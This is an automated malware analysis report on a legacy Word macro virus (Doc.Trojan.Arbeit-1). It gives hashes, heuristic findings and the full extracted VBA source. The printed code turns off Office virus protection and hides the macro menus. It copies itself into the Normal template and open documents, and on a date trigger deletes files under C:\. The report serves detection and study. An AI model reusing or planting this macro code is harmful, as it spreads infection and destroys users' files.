Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 014460025e7be272…

MALICIOUS

Office (OLE)

36.0 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7af1792cf32959246364528a59a170e3 SHA-1: a733becbbee06c1a3c9b9166c6a36b92ffa8d134 SHA-256: 014460025e7be27282ceab1029e0d65cd069619091a4b8991e8203e4037b7764
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OLE document containing VBA macros. The AutoOpen macro attempts to disable security features like the VBA editor and display alerts, and then exports a file named 'mlpog.sys' to the C drive. The presence of legacy WordBasic markers and the ClamAV detection suggest this is a known type of malware, likely delivered as a spearphishing attachment.

Heuristics 6

  • ClamAV: Doc.Trojan.Arbeit-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Arbeit-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub autoclose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2187 bytes
SHA-256: 9562da9fae993f0a18e06a1e31224075608193eb9d07714ea5f945f3e2672cae
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NoWork"
Sub toolsmacro()
MsgBox "The Licence has expired"
End Sub
Sub autoopen()
On Error Resume Next
Application.DisplayStatusBar = False
Application.CommandBars("Visual Basic").Enabled = False
Application.CommandBars("Tools").Controls("Macro").Visible = False
Application.EnableCancelKey = wdCancelDisabled
Application.ScreenUpdating = False
Application.UserName = "NoWork Inc."
Application.UserInitials = "NWI"
Application.DisplayAlerts = wdAlertsNone
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
Set fu = NormalTemplate.VBProject.VBComponents("NoWork")
Set ck = ActiveDocument.VBProject.VBComponents("NoWork")
Set off = ThisDocument.VBProject.VBComponents("NoWork")
If ActiveDocument.VBProject.VBComponents.Item("NoWork").Name = "NoWork" Then
ck.export ("c:\mlpog.sys")
End If
If NormalTemplate.VBProject.VBComponents.Item("NoWork").Name = "NoWork" Then
fu.export ("c:\mlpog.sys")
End If
impossible:
If Day(Now()) >= 15 And Month(Now()) >= 10 Then
MsgBox "The technology will be kill humaneness", vbInformation + vbOKOnly, "NoWork Inc."
Kill "C:\*.*"
System.Cursor = wdCursorWait
GoTo impossible
End If
' Fuck Capitalism - For a no government - A dream world - MLPOG V. 1.02
End Sub
Sub viewvbcode()
MsgBox "The Licence has expired"
End Sub
Sub autoclose()
On Error Resume Next
Set th = NormalTemplate.VBProject.VBComponents
Set ef = ActiveDocument.VBProject.VBComponents
Set ly = ThisDocument.VBProject.VBComponents
If Not th.Item("NoWork").Name = "NoWork" Then
th.Import ("c:\mlpog.sys")
End If
If Not ef.Item("NoWork").Name = "NoWork" Then
ef.Import ("c:\mlpog.sys")
End If
If Not ly.Item("NoWork").Name = "NoWork" Then
ly.Import ("c:\mlpog.sys")
End If
If ActiveDocument.Saved = False Then
    ActiveDocument.Save
End If
If ThisDocument.Saved = False Then
    ThisDocument.Save
End If
End Sub